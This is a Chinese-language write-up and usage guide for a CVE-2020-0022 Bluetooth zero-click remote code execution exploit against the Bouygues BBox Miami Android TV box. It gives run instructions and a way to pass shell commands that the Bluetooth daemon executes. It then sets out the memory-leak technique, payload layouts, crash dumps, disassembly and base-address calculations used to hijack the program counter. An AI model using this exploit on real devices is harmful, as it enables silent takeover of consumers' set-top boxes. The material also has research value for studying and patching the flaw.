########################################################################################
CVE-2020-0022 针对 Bouygues BBox Miami 的漏洞利用 Android TV 8.0 - ARM32 Cortex A9 作者: Polo35 - 2020/08/24
########################################################################################
"用法: python polo_exploit.py 目标蓝牙MAC地址 [目标ADB_IP, 外壳命令, 禁用重启, 详细输出]"
########################################################################################
基于 Jan Ruge 的脚本 CVE-2020-0022 一个 Android 8.0-9.0 蓝牙零点击 RCE – BlueFrag https://insinuator.net/2020/04/cve-2020-0022-an-android-8-0-9-0-bluetooth-zero-click-rce-bluefrag/
########################################################################################
介绍与提示
########################################################################################
该脚本使用 Python 蓝牙模块来获取 ACL 连接句柄 因此你需要安装蓝牙库以及 pybluez (Python2 使用 0.22 版本,Python3 使用最新版本)
sudo apt-get update sudo apt-get install bluetooth bluez libbluetooth-dev sudo pip install pybluez
你可以向脚本传递一个 shell 命令作为参数,该命令将由蓝牙守护进程通过 system 函数执行 shell 命令仅有 104 个字符可用,因为 ROP 链占用了第二个有效负载的前 20 字节
示例: shell_command = "cat /dev/zero | echo 'Target Exploited' > /sdcard/Download/cve-2020-0022-poc"
该脚本可以使用 adb 检查连接、检查 logcat 以及在必要时重启靶机 为此,你需要将靶机 IP 作为参数传递 在使用脚本前,请确保已通过 adb connect 连接靶机并打开 shell 检查连接
最佳效果是通过智能手机通过蓝牙连接到靶机,当脚本提示时这样做 ;) 触发利用可能需要超过 30 次尝试,但有时也能在第一次尝试时成功
########################################################################################
ARM32 内存泄漏
########################################################################################
Bouygues BBox Miami 基于 ARM 32 位 Cortex A9 处理器 与 ARM64 的区别在于,libc 的 memcpy 函数不会下溢,因此无法获得与 Jan Ruge 相同的泄漏 但漏洞仍然存在,并且可以以不同的方式利用
通过发送 4 字节分片的 l2cap 包,我们可以在 reassemble_and_dispatch 中触发长度为 0 的 memcpy 这允许在 echo 末尾获取 4 字节未初始化数据
增加第一个包的长度(下文称为 mem_offset)可以“遍历”未初始化内存 在同一 mem_offset 下获取 32 个 echo 通常能获得 2 到 8 个可利用的 echo Echo 会重复,因此无需在同一 mem_offset 下获取超过 32 个 echo 这种方法同时会用包填充内存,因此很容易识别模式并在泄漏中找到偏移量
mem_offset 是 l2cap 包的字符长度 例如:mem_offset 184 = 184 字符的 l2cap 包 = 368 字节的 l2cap 包
内存“遍历”和未初始化数据(带重复)的示例:
176: 00000000 01000000 01000000 00000000 00000000 01000000 00000000 00000000 00000000 01000000 01000000 00000000 00000000 01000000 00000000 00000000 ................................................................ 177: 00000000 000000a4 00000024 00000000 00000000 000000a4 00000000 00000000 00000000 000000a4 00000024 00000000 00000000 000000a4 00000000 00000000 ...........$...............................$.................... 178: 00000000 0000a4ce 000024d2 00000000 00000000 0000a4d5 00000000 00000000 00000000 0000a4ce 000024d2 00000000 00000000 0000a4d5 00000000 00000000 ..........$...............................$..................... 179: 00000000 00a4ce80 0024d280 00000000 00000000 00a4d580 00000000 00000000 00000000 00a4ce80 0024d280 00000000 00000000 00a4d580 00000000 00000000 .........$...............................$...................... 180: 00000000 a4ce80a3 24d280a3 00000000 00000000 a4d580a3 00000000 00000000 00000000 a4ce80a3 24d280a3 00000000 00000000 a4d580a3 00000000 00000000 ........$...............................$....................... 181: 00000000 ce80a39c d280a31c 00000000 00000000 d580a39c 00000000 00000000 00000000 ce80a39c d280a31c 00000000 00000000 d580a39c 00000000 00000000 ................................................................ 182: 00000000 80a39cce 80a31cd2 00000000 00000000 80a39cd5 00000000 00000000 00000000 80a39cce 80a31cd2 00000000 00000000 80a39cd5 00000000 00000000 ................................................................ 183: 00000000 a39cce80 a31cd280 00000000 00000000 a39cd580 00000000 00000000 00000000 a39cce80 a31cd280 00000000 00000000 a39cd580 00000000 00000000 ................................................................ 184: 00000000 9cce80a3 1cd280a3 00000000 00000000 9cd580a3 00000000 00000000 00000000 9cce80a3 1cd280a3 00000000 00000000 9cd580a3 00000000 00000000 ................................................................ 185: 00000000 ce80a300 d280a300 00000000 00000000 d580a300 00000000 00000000 00000000 ce80a300 d280a300 00000000 00000000 d580a300 00000000 00000000 ................................................................ 186: 00000000 80a30000 80a30000 00000000 00000000 80a30000 00000000 00000000 00000000 80a30000 80a30000 00000000 00000000 80a30000 00000000 00000000 ................................................................ 187: 00000000 a3000000 a3000000 00000000 00000000 a3000000 00000000 00000000 00000000 a3000000 a3000000 00000000 00000000 a3000000 00000000 00000000 ................................................................ 188: 00000000 00000000 00000000 00000000 00000000 00000000 00000000 00000000 00000000 00000000 00000000 00000000 00000000 00000000 00000000 00000000 ................................................................
我们在 mem_offset 180 和 184 处可以看到一些小端格式的内存地址
a4ce80a3 给出地址 0xa380cea4 24d280a3 给出地址 0xa380d224 a4d580a3 给出地址 0xa380d5a4 9cce80a3 给出地址 0xa380ce9c 1cd280a3 给出地址 0xa380d21c 9cd580a3 给出地址 0xa380d59c
至少有 4 或 5 个 mem_offset 可以在几乎所有重启后找到真实内存地址 我们稍后会看到如何使用它们
########################################################################################
首次崩溃分析
########################################################################################
通过发送 2 字节分片的 l2cap 包,我们可以在 reassemble_and_dispatch 中触发长度为 -2 的 memcpy 这允许用第二个包的 30 字节受控数据溢出部分包之外 由于复制了 30 字节,因此不需要发送大于 32 字节且最后 4 字节为空的包
这种溢出方法有时会使蓝牙守护进程崩溃,并在 _Z11list_appendP6list_tPv+65 处控制 R0 寄存器:
HCI: Found link transmit data buffer queue at 0xab90dbc4 HCI: Found SetDataAdvDataSender function at 0x91875b29 HCI: Found bte_hh_evt function at 0x91818429 HCI: Found bluetooth library base address at 0x917a0000 First payload: 0x00: 0xdead0000 | 0x04: 0xdead0001 | 0x08: 0xdead0002 | 0x0c: 0xdead0003 0x10: 0xdead0004 | 0x14: 0xdead0005 | 0x18: 0xdead0006 | 0x1c: 0xdead0007 Second payload: 0x00 : 0xab90db14: 0xdead0008 | 0xab90db18: 0xdead0009 | 0xab90db1c: 0xdead000a | 0xab90db20: 0xdead000b 0x10 : 0xab90db24: 0xdead000c | 0xab90db28: 0xdead000d | 0xab90db2c: 0xdead000e | 0xab90db30: 0xdead000f 0x20 : 0xab90db34: 0xdead0010 | 0xab90db38: 0xdead0011 | 0xab90db3c: 0xdead0012 | 0xab90db40: 0xdead0013 0x30 : 0xab90db44: 0xdead0014 | 0xab90db48: 0xdead0015 | 0xab90db4c: 0xdead0016 | 0xab90db50: 0xdead0017 0x40 : 0xab90db54: 0xdead0018 | 0xab90db58: 0xdead0019 | 0xab90db5c: 0xdead001a | 0xab90db60: 0xdead001b 0x50 : 0xab90db64: 0xdead001c | 0xab90db68: 0xdead001d | 0xab90db6c: 0xdead001e | 0xab90db70: 0xdead001f 0x60 : 0xab90db74: 0xdead0020 | 0xab90db78: 0xdead0021 | 0xab90db7c: 0xdead0022 | 0xab90db80: 0xdead0023 0x70 : 0xab90db84: 0xdead0024 | 0xab90db88: 0xdead0025 | 0xab90db8c: 0xdead0026 | 0xab90db90: 0xdead0027 0x80 : 0xab90db94: 0xdead0028 | 0xab90db98: 0xdead0029 | 0xab90db9c: 0xdead002a | 0xab90dba0: 0xdead002b 0x90 : 0xab90dba4: 0xdead002c | 0xab90dba8: 0xdead002d | 0xab90dbac: 0xdead002e | 0xab90dbb0: 0xdead002f 0xa0 : 0xab90dbb4: 0xdead0030 | 0xab90dbb8: 0xdead0031 | 0xab90dbbc: 0xdead0032 | 0xab90dbc0: 0xdead0033 0xb0 : 0xab90dbc4: 0xdead0034 | 0xab90dbc8: 0xdead0035 ADB: Found interesting crash !!! libc : Fatal signal 11 (SIGSEGV), code 1, fault addr 0xdead0003 in tid 3918 (bt_workqueue) DEBUG : *** *** *** *** *** *** *** *** *** *** *** *** *** *** *** *** DEBUG : Build fingerprint: 'BouyguesTelecom/BouygtelTV/HMB4213H:8.0.0/CALIFORNIE/6.30.13:user/release-keys' DEBUG : Revision: '0' DEBUG : ABI: 'arm' DEBUG : pid: 3871, tid: 3918, name: bt_workqueue >>> com.android.bluetooth <<< DEBUG : signal 11 (SIGSEGV), code 1 (SEGV_MAPERR), fault addr 0xdead0003 DEBUG : r0 dead0003 r1 90d13e00 r2 90d13e00 r3 00000000 DEBUG : r4 ab9059f8 r5 90d13e00 r6 00000000 r7 00000000 DEBUG : r8 00000000 r9 904df340 sl 904df338 fp 00000001 DEBUG : ip acf310ec sp 904defd8 lr 918a3131 pc 918c98e2 cpsr a00f0030 DEBUG : DEBUG : backtrace: DEBUG : #00 pc 001298e2 /system/vendor/lib/hw/bluetooth.marvellberlin.so (_Z11list_appendP6list_tPv+65) DEBUG : #01 pc 0010312d /system/vendor/lib/hw/bluetooth.marvellberlin.so (_Z24l2c_link_check_send_pktsP12t_l2c_linkcbP9t_l2c_ccbP6BT_HDR+36) DEBUG : #02 pc 0010298f /system/vendor/lib/hw/bluetooth.marvellberlin.so (_Z22l2c_link_hci_conn_comphtPh+78) DEBUG : #03 pc 000e5371 /system/vendor/lib/hw/bluetooth.marvellberlin.so (_Z22btu_hcif_process_eventhP6BT_HDR+440) DEBUG : #04 pc 000e6607 /system/vendor/lib/hw/bluetooth.marvellberlin.so (_Z17btu_hci_msg_readyP13fixed_queue_tPv+42) DEBUG : #05 pc 001290df /system/vendor/lib/hw/bluetooth.marvellberlin.so (_ZL22internal_dequeue_readyPv+46) DEBUG : #06 pc 0012b535 /system/vendor/lib/hw/bluetooth.marvellberlin.so (_ZL11run_reactorP9reactor_ti+216) DEBUG : #07 pc 0012b431 /system/vendor/lib/hw/bluetooth.marvellberlin.so (_Z13reactor_startP9reactor_t+44) DEBUG : #08 pc 0012c729 /system/vendor/lib/hw/bluetooth.marvellberlin.so (_ZL10run_threadPv+136) DEBUG : #09 pc 00047f17 /system/lib/libc.so (_ZL15__pthread_startPv+22) DEBUG : #10 pc 0001b1dd /system/lib/libc.so (__start_thread+32)
001298e2 处的反汇编如下:
.text:0x1298E0 loc_1298E0 ; CODE XREF: list_append:loc_1298CA↑j .text:0x1298E0 LDR R0, [R4,#0x10] => 从 R4+0x10 加载 R0 .text:0x1298E2 LDR R1, [R0] => 从 R0 加载 R1 => 如果未控制则崩溃! .text:0x1298E4 MOVS R0, #8 => 设置 R0 为 8 .text:0x1298E6 BLX R1 => 分支链接并交换到 R1 => 分支到受控的 R1
反编译显示,我们覆盖了 R4+0x10 地址处的内存,该地址在调用 "node = list->allocator->alloc(8)" 中是分配器:
signed int list_append(list_t *list_ptr, void *data_ptr) { list_t *list = list_ptr; // r4 ... list_node_t node = (list_node_t)list->allocator->alloc(sizeof(list_node_t)); <= list = r4 / allocator = offset 0x10 / alloc = r1 / 8 = r0 / 崩溃! ... node->data = data_ptr; // r5 ... }
守护进程在 LDR R1, [R0] 处崩溃,R0 寄存器 = dead0003,试图加载该地址 我们可以通过第一有效负载 + 0xC 控制 R0,因此如果在其中放置一个有效地址,我们就可以通过 LDR R1, [R0] 控制 R1,然后通过 BLX R1 控制 PC
########################################################################################
通过溢出泄露地址控制程序计数器
########################################################################################
使用溢出方法,配合在 mem_offset 180 处找到的第一个内存地址,可以将崩溃转移到受控的 R1 寄存器的分支
HCI: Got ACL connection handle: 0xb
HCI: Getting link transmit data buffer queue pointer...
HCI: Found link transmit data buffer queue at 0xa458dbc4
HCI: Getting bluetooth library function pointers...
HCI: Found SetDataAdvDataSender function at 0x8a4a3b29
HCI: Found bluetooth library base address at 0x8a3ce000
Building the payloads...
First payload:
0x00: 0xdead0000 | 0x04: 0xdead0001 | 0x08: 0xdead0002 | 0x0c: 0xa458dbc4
0x10: 0xdead0003 | 0x14: 0xdead0004 | 0x18: 0xdead0005 | 0x1c: 0xdead0006
Second payload:
0x00 : 0xa458dbc4: 0xdead0007 | 0xa458dbc8: 0xdead0008 | 0xa458dbcc: 0xdead0009 | 0xa458dbd0: 0xdead000a
0x10 : 0xa458dbd4: 0xdead000b | 0xa458dbd8: 0xdead000c | 0xa458dbdc: 0xdead000d | 0xa458dbe0: 0xdead000e
0x20 : 0xa458dbe4: 0xdead000f | 0xa458dbe8: 0xdead0010 | 0xa458dbec: 0xdead0011 | 0xa458dbf0: 0xdead0012
0x30 : 0xa458dbf4: 0xdead0013 | 0xa458dbf8: 0xdead0014 | 0xa458dbfc: 0xdead0015 | 0xa458dc00: 0xdead0016
0x40 : 0xa458dc04: 0xdead0017 | 0xa458dc08: 0xdead0018 | 0xa458dc0c: 0xdead0019 | 0xa458dc10: 0xdead001a
0x50 : 0xa458dc14: 0xdead001b | 0xa458dc18: 0xdead001c | 0xa458dc1c: 0xdead001d | 0xa458dc20: 0xdead001e
0x60 : 0xa458dc24: 0xdead001f | 0xa458dc28: 0xdead0020 | 0xa458dc2c: 0xdead0021 | 0xa458dc30: 0xdead0022
0x70 : 0xa458dc34: 0xdead0023 | 0xa458dc38: 0xdead0024 | 0xa458dc3c: 0xdead0025 | 0xa458dc40: 0xdead0026
0x80 : 0xa458dc44: 0xdead0027 | 0xa458dc48: 0xdead0028 | 0xa458dc4c: 0xdead0029 | 0xa458dc50: 0xdead002a
0x90 : 0xa458dc54: 0xdead002b | 0xa458dc58: 0xdead002c | 0xa458dc5c: 0xdead002d | 0xa458dc60: 0xdead002e
0xa0 : 0xa458dc64: 0xdead002f | 0xa458dc68: 0xdead0030 | 0xa458dc6c: 0xdead0031 | 0xa458dc70: 0xdead0032
0xb0 : 0xa458dc74: 0xdead0033 | 0xa458dc78: 0xdead0034
Prepare to connect to the target via bluetooth with your smartphone
HCI: Spraying second payload at 0xa458dbc4
Connect to the target via bluetooth with your smartphone
HCI: Triggering the exploit with first payload... (1/3)
ADB: Bluetooth deamon crashed (3/20)
ADB: Found interesting crash !!!
07-20 09:28:01.020 20972 21006 F libc : Fatal signal 11 (SIGSEGV), code 1, fault addr 0xdead0032 in tid 21006 (bt_workqueue)
07-20 09:28:01.123 21061 21061 F DEBUG : *** *** *** *** *** *** *** *** *** *** *** *** *** *** *** ***
07-20 09:28:01.123 21061 21061 F DEBUG : Build fingerprint: 'BouyguesTelecom/BouygtelTV/HMB4213H:8.0.0/CALIFORNIE/6.30.13:user/release-keys'
07-20 09:28:01.123 21061 21061 F DEBUG : Revision: '0'
07-20 09:28:01.123 21061 21061 F DEBUG : ABI: 'arm'
07-20 09:28:01.123 21061 21061 F DEBUG : pid: 20972, tid: 21006, name: bt_workqueue >>> com.android.bluetooth <<<
07-20 09:28:01.123 21061 21061 F DEBUG : signal 11 (SIGSEGV), code 1 (SEGV_MAPERR), fault addr 0xdead0032
07-20 09:28:01.123 21061 21061 F DEBUG : r0 00000008 r1 dead0033 r2 8970a200 r3 00000000
07-20 09:28:01.123 21061 21061 F DEBUG : r4 a4585c38 r5 8970a200 r6 00000000 r7 00000000
07-20 09:28:01.123 21061 21061 F DEBUG : r8 00000000 r9 891fd340 sl 891fd338 fp 00000001
07-20 09:28:01.124 21061 21061 F DEBUG : ip a66aa0ec sp 891fcfd8 lr 8a4f78e9 pc dead0032 cpsr 200f0030
07-20 09:28:01.228 21061 21061 F DEBUG :
07-20 09:28:01.228 21061 21061 F DEBUG : backtrace:
07-20 09:28:01.228 21061 21061 F DEBUG : #00 pc dead0032
07-20 09:28:01.229 21061 21061 F DEBUG : #01 pc 001298e7 /system/vendor/lib/hw/bluetooth.marvellberlin.so (_Z11list_appendP6list_tPv+70)
07-20 09:28:01.229 21061 21061 F DEBUG : #02 pc 0010312d /system/vendor/lib/hw/bluetooth.marvellberlin.so (_Z24l2c_link_check_send_pktsP12t_l2c_linkcbP9t_l2c_ccbP6BT_HDR+36)
07-20 09:28:01.229 21061 21061 F DEBUG : #03 pc 0010298f /system/vendor/lib/hw/bluetooth.marvellberlin.so (_Z22l2c_link_hci_conn_comphtPh+78)
07-20 09:28:01.229 21061 21061 F DEBUG : #04 pc 000e5371 /system/vendor/lib/hw/bluetooth.marvellberlin.so (_Z22btu_hcif_process_eventhP6BT_HDR+440)
07-20 09:28:01.229 21061 21061 F DEBUG : #05 pc 000e6607 /system/vendor/lib/hw/bluetooth.marvellberlin.so (_Z17btu_hci_msg_readyP13fixed_queue_tPv+42)
07-20 09:28:01.229 21061 21061 F DEBUG : #06 pc 001290df /system/vendor/lib/hw/bluetooth.marvellberlin.so (_ZL22internal_dequeue_readyPv+46)
07-20 09:28:01.229 21061 21061 F DEBUG : #07 pc 0012b535 /system/vendor/lib/hw/bluetooth.marvellberlin.so (_ZL11run_reactorP9reactor_ti+216)
07-20 09:28:01.229 21061 21061 F DEBUG : #08 pc 0012b431 /system/vendor/lib/hw/bluetooth.marvellberlin.so (_Z13reactor_startP9reactor_t+44)
07-20 09:28:01.229 21061 21061 F DEBUG : #09 pc 0012c729 /system/vendor/lib/hw/bluetooth.marvellberlin.so (_ZL10run_threadPv+136)
07-20 09:28:01.229 21061 21061 F DEBUG : #10 pc 00047f17 /system/lib/libc.so (_ZL15__pthread_startPv+22)
07-20 09:28:01.229 21061 21061 F DEBUG : #11 pc 0001b1dd /system/lib/libc.so (__start_thread+32)
同一地址 001298e7 的反汇编如下:
.text:0x1298E0 loc_1298E0 ; CODE XREF: list_append:loc_1298CA↑j .text:0x1298E0 LDR R0, [R4,#0x10] => 从 R4+0x10 加载 R0 .text:0x1298E2 LDR R1, [R0] => 从 R0 加载 R1 => 如果未控制则崩溃 .text:0x1298E4 MOVS R0, #8 => 设置 R0 为 8 .text:0x1298E6 BLX R1 => 分支链接并交换到 R1 => 分支到受控的 R1 !!! .text:0x1298E8 MOV R1, R0
守护进程现在在 BLX R1 处崩溃,R1 寄存器 = dead0033 这是在 mem_offset 184 处获取泄漏时在分片包中发送的模式 这将是第二个有效负载,其已知地址位于从 mem_offset 180 处找到的第一个内存地址偏移 - 0xb0 处
我们现在可以控制 bluetooth.marvellberlin.so 库的 PC,该库在内存中有第二个位置保存数据,并且我们知道这个地址
信号发生后,寄存器包含:
########################################################################################
获取蓝牙库基地址
########################################################################################
使用 mem_offset 28 处的泄漏方法,我们能够找到一些内存地址:0026 : 00002954 74007400 74007400 58a9292b 74006600 74007400 72002e00 58a9292b 00002954 70007000 74007400 58a9292b 74006600 74007400 74006600 58a9292b : ..)Tt.t.t.f.X.)+t.f.t.t.r...X.)+..)Tp.p.t.t.X.)+t.f.t.t.t.f.X.)+ 0027 : 0029546c 00740066 002e0074 a9292b72 00660000 00700066 00740066 a9292b72 0029546c 00740066 00660066 a9292b72 00660000 00740066 002e0074 a9292b72 : .)Tl.t.f...t.)+r.f...p.f.t.f.)+r.)Tl.t.f.f.f.)+r.f...t.f...t.)+r 0028 : 29546c8f 70006600 74006600 292b728f 66000000 74006600 66006600 292b728f 29546c8f 74006600 2e007400 292b728f 66000000 70006600 74006600 292b728f : )Tl.p.f.t.f.)+r.f...t.f.f.f.)+r.)Tl.t.f...t.)+r.f...p.f.t.f.)+r. 0029 : 00660066 00660000 2b728f01 00000000 00660000 00740074 2b728f01 00660066 00660000 00660066 2b728f01 00000000 00660000 00660000 2b728f01 00740074 : .f.f.f..+r.......f...t.t+r...f.f.f...f.f+r.......f...f..+r...t.t 0030 : 66006600 66000000 728f0100 00000000 66000000 66006600 728f0100 74007400 66006600 66000000 728f0100 00000000 66000000 66000000 728f0100 74007400 : f.f.f...r.......f...f.f.r...t.t.f.f.f...r.......f...f...r...t.t.
我们可以看到泄漏了 29546c8f 和 292b728f,以小端序给出地址 0x8f6c5429 和 0x8f722b29
使用这些地址的溢出方法会在 bluetooth.marvellberlin.so 中使守护进程崩溃,崩溃转储如下:
libc : Fatal signal 11 (SIGSEGV), code 1, fault addr 0x10 in tid 4151 (bt_workqueue) DEBUG : *** *** *** *** *** *** *** *** *** *** *** *** *** *** *** *** DEBUG : Build fingerprint: 'BouyguesTelecom/BouygtelTV/HMB4213H:8.0.0/CALIFORNIE/6.30.13:user/release-keys' DEBUG : Revision: '0' DEBUG : ABI: 'arm' DEBUG : pid: 4107, tid: 4151, name: bt_workqueue >>> com.android.bluetooth <<< DEBUG : signal 11 (SIGSEGV), code 1 (SEGV_MAPERR), fault addr 0x10 DEBUG : Cause: null pointer dereference DEBUG : r0 00000008 r1 8c35db29 r2 8b006300 r3 00000020 DEBUG : r4 a6405578 r5 8b006300 r6 00000020 r7 ff183456 DEBUG : r8 a6405560 r9 00000006 sl 00000002 fp 8affef70 DEBUG : ip 00001e7e sp 8affef60 lr 8c3b18e9 pc 8c35db3c cpsr 200f0030 DEBUG : DEBUG : backtrace: DEBUG : #00 pc 000d5b3c /system/vendor/lib/hw/bluetooth.marvellberlin.so (ZN4base8internal7InvokerINS0_9BindStateIMN12_GLOBAL__N_125BleAdvertisingManagerImplEFvhhhhPhNS_8CallbackIFvhELNS0_8CopyModeE1EEEEJNS0_17UnretainedWrapperIS4_EEbEEEFvhhhS5_S9_EE3RunEPNS0_13BindStateBaseEOhSJ_SJ_OS5_OS9+19) DEBUG : #01 pc 001298e7 /system/vendor/lib/hw/bluetooth.marvellberlin.so (_Z11list_appendP6list_tPv+70) DEBUG : #02 pc 0010312d /system/vendor/lib/hw/bluetooth.marvellberlin.so (_Z24l2c_link_check_send_pktsP12t_l2c_linkcbP9t_l2c_ccbP6BT_HDR+36) DEBUG : #03 pc 0010477f /system/vendor/lib/hw/bluetooth.marvellberlin.so (_Z16l2c_rcv_acl_dataP6BT_HDR+2190) DEBUG : #04 pc 001290df /system/vendor/lib/hw/bluetooth.marvellberlin.so (_ZL22internal_dequeue_readyPv+46) DEBUG : #05 pc 0012b535 /system/vendor/lib/hw/bluetooth.marvellberlin.so (_ZL11run_reactorP9reactor_ti+216) DEBUG : #06 pc 0012b431 /system/vendor/lib/hw/bluetooth.marvellberlin.so (_Z13reactor_startP9reactor_t+44) DEBUG : #07 pc 0012c729 /system/vendor/lib/hw/bluetooth.marvellberlin.so (_ZL10run_threadPv+136) DEBUG : #08 pc 00047f17 /system/lib/libc.so (_ZL15__pthread_startPv+22) DEBUG : #09 pc 0001b1dd /system/lib/libc.so (__start_thread+32)
我们落在 bluetooth.marvellberlin.so 库的 .text 部分,偏移量为 000d5b3c
.text:0x0D5B28 SetDataAdvDataSender ; DATA XREF: .text:0x0D2B82↑o .text:0x0D5B28 .text:0x0D5B28 PUSH.W {R4-R11,LR} .text:0x0D5B2C SUB SP, SP, #0x1C .text:0x0D5B2E LDR R7, =(off_1A2718 - 0xD5B38) .text:0x0D5B30 ADD.W R11, SP, #0x10 .text:0x0D5B34 ADD R7, PC ; off_1A2718 .text:0x0D5B36 LDR R7, [R7] .text:0x0D5B38 LDR R7, [R7] .text:0x0D5B3A STR R7, [SP,#0x1C-4] .text:0x0D5B3C LDRD.W R10, R7, [R0,#8]
崩溃发生在函数开始后的 0xd5b3c,因此找到的地址是指向此函数的指针 此函数是 BleAdvertisingManagerImpl 类的 SetDataAdvDataSender,在 btm_ble_multi_adv.cc 文件的 SetData 函数中用作指针
void SetData(uint8_t inst_id, bool is_scan_rsp, std::vector<uint8_t> data, MultiAdvCb cb) override { ... DivideAndSendData(inst_id, data, cb, base::Bind(&BleAdvertisingManagerImpl::SetDataAdvDataSender, base::Unretained(this), is_scan_rsp)); }
现在我们有了 bluetooth.marvellberlin.so 库中一个固定位置的地址,并且可以计算该库的基址 从 mem_offset 28 找到的指向 SetDataAdvDataSender 函数的指针到库基址的实际偏移是 0XD5B29
在上面的例子中,我们在 0X8C35DB29 找到了 SetDataAdvDataSender 函数并溢出了该地址 蓝牙库基址是 0X8C35DB29 - 0XD5B29 = 0X8C288000
我们还在同一次泄漏的 mem_offset 28 处找到了指向 0x8C300429 的指针 两个找到的地址之间的偏移是 0x8C35DB29 - 0x8C300429 = 0x5D700 我们知道 SetDataAdvDataSender 在蓝牙库中的 0xD5B28 处,因此可以计算第二个找到的指针的地址:0xD5B28 - 0x5D700 = 0x78428 在蓝牙库的 0x78428 处有函数 bte_hh_evt,该函数在 btif_hh.cc 文件的 btif_hh_service_registration 和 btif_hh_execute_service 函数中使用
void btif_hh_service_registration(bool enable) { ... BTA_HhEnable(BTA_SEC_ENCRYPT, bte_hh_evt); ... }
bt_status_t btif_hh_execute_service(bool b_enable) { ... BTA_HhEnable(BTUI_HH_SECURITY, bte_hh_evt); ... }
在 mem_offset 28 处找到的两个地址分别以 SetDataAdvDataSender 函数的 0xB29 和 bte_hh_evt 函数的 0x429 结尾 使用此方法,我们只需要泄漏中的两个已知地址之一即可找到蓝牙基址
总结一下,我们可以通过以下方式找到蓝牙库基址:
########################################################################################
使用 Android 源代码分析崩溃
########################################################################################
Android Oreo 8.1 的源代码显示,我们覆盖了链接传输数据缓冲区队列对象 p_lcb->link_xmit_data_q 的一部分
l2c_rcv_acl_data 函数创建 tL2C_LCB* p_lcb 对象并将其传递给 l2c_link_check_send_pkts 函数,该函数将数据包附加到 link_xmit_data_q 缓冲区队列
void l2c_rcv_acl_data(BT_HDR* p_msg) { ... tL2C_LCB* p_lcb; ... /* Find the LCB based on the handle / p_lcb = l2cu_find_lcb_by_handle(handle); ... / Send the data through the channel state machine */ if (rcv_cid == L2CAP_SIGNALLING_CID) { process_l2cap_cmd(p_lcb, p, l2cap_len); ... }
tL2C_LCB* l2cu_find_lcb_by_handle(uint16_t handle) { ... tL2C_LCB* p_lcb = &l2cb.lcb_pool[0];
for (xx = 0; xx < MAX_L2CAP_LINKS; xx++, p_lcb++) { if ((p_lcb->in_use) && (p_lcb->handle == handle)) { return (p_lcb); } } ... }
p_lcb 取自静态对象 l2cb.lcb_pool[0],如 l2c_main.cc 中所定义
// / G L O B A L L 2 C A P D A T A / // tL2C_CB l2cb;
static void process_l2cap_cmd(tL2C_LCB* p_lcb, uint8_t* p, uint16_t pkt_len) { ... case L2CAP_CMD_ECHO_REQ: l2cu_send_peer_echo_rsp(p_lcb, id, p, cmd_len); ... }
void l2cu_send_peer_echo_rsp(tL2C_LCB* p_lcb, uint8_t id, uint8_t* p_data, uint16_t data_len) { ... p_buf = l2cu_build_header(p_lcb, (uint16_t)(L2CAP_ECHO_RSP_LEN + data_len), L2CAP_CMD_ECHO_RSP, id); ... l2c_link_check_send_pkts(p_lcb, NULL, p_buf); }
void l2c_link_check_send_pkts(tL2C_LCB* p_lcb, tL2C_CCB* p_ccb, BT_HDR* p_buf) { ... list_append(p_lcb->link_xmit_data_q, p_buf); ... }
bool list_append(list_t* list, void* data) { ... list_node_t* node = (list_node_t*)list->allocator->alloc(sizeof(list_node_t)); => 对 alloc 的调用被我们的调用替换(只有一个参数!) ... }
tL2C_LCB 结构中 link_xmit_data_q 的定义是:
/* Define a link control block. There is one link control block between
list_t 结构的定义是:
typedef struct list_t { list_node_t* head; | Size 0x4 | Offset 0x0 list_node_t* tail; | Size 0x4 | Offset 0x4 size_t length; | Size 0x4 | Offset 0x8 list_free_cb free_cb; | Size 0x4 | Offset 0xC const allocator_t* allocator; | Size 0x4 | Offset 0x10 } list_t; | Size 0x14
以及 list_node_t 结构:
struct list_node_t {
struct list_node_t* next; | Size 0x4 | Offset 0x0
void* data; | Size 0x4 | Offset 0x4
}; | Size 0x8
以及 allocator_t 结构:
typedef struct {
alloc_fn alloc; | Size 0x4 | Offset 0x0
free_fn free; | Size 0x4 | Offset 0x4
} allocator_t; | Size 0x8
typedef struct {
uint16_t event; | Size 0x2 | Offset 0x0
uint16_t len; | Size 0x2 | Offset 0x2
uint16_t offset; | Size 0x2 | Offset 0x4
uint16_t layer_specific; | Size 0x2 | Offset 0x6
uint8_t data[]; | Size 0xx | Offset 0x8
} BT_HDR; | Size 0x8 + data length
l2c_link_check_send_pkts 函数的反汇编:
.text:0x00103108 PUSH.W {R4-R11,LR} .text:0x0010310C SUB SP, SP, #0x14 .text:0x0010310E MOV R4, R0 => 将 R0 移动到 R4 => 设置 R4 = R0 = tL2C_LCB* p_lcb .text:0x00103110 CBZ R2, loc_10311C => 如果 R2 为空则跳转 => 如果 BT_HDR* p_buf 为空则跳转 .text:0x00103112 MOVS R0, #0 => 将 0 移动到 R0 => .text:0x00103114 CBZ R1, loc_103120 => 如果 R1 为空则跳转 => 如果 tL2C_CCB* p_ccb 为空则跳转 .text:0x00103116 LDRH R1, [R1,#0x2C] => 从 R1 + 0x2C 加载数据到 R1 => 用 p_ccb->local_cid 加载 R1 .text:0x00103118 MOVS R7, #1 => 将 1 移动到 R7 => 设置 single_write = true .text:0x0010311A B loc_103124 => 分支到 loc_103124 .text:0x00103124 loc_103124 .text:0x00103124 STRH R1, [R2] => 将 R1 的高半字存储到 R2 => 设置 p_buf->event = p_ccb->local_cid .text:0x00103126 MOV R1, R2 => 将 R2 移动到 R1 => 设置 R1 = R2 = BT_HDR* p_buf .text:0x00103128 STRH R0, [R2,#6] => 将 R0 存储到 R2 + 0x6 => 设置 p_buf->layer_specific = 0 .text:0x0010312A LDR R0, [R4,#0x44] => 从 R4 + 0x44 加载数据到 R0 => 从 R4 + 0x44 加载 list_t* p_lcb->link_xmit_data_q 到 R0 .text:0x0010312C BL list_append => 带链接分支到 list_append
调用 list_append 函数之前,寄存器包含:
list_append 函数的反汇编:
